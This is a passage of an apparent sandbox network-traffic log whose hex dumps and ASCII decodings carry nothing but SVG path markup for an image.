2023-05-31 12:52:09 UTC	6329	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
2023-05-31 12:52:09 UTC	6345	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-05-31 12:52:09 UTC	6361	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-05-31 12:52:09 UTC	6377	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-05-31 12:52:09 UTC	6393	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-05-31 12:52:09 UTC	6409	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-05-31 12:52:09 UTC	6425	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-05-31 12:52:09 UTC	6441	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-05-31 12:52:09 UTC	6457	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-05-31 12:52:09 UTC	6473	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-05-31 12:52:09 UTC	6489	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-05-31 12:52:09 UTC	6505	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-05-31 12:52:09 UTC	6521	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:52:09 UTC	6537	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-05-31 12:52:09 UTC	6553	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-05-31 12:52:09 UTC	6569	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-05-31 12:52:09 UTC	6585	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-05-31 12:52:09 UTC	6601	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 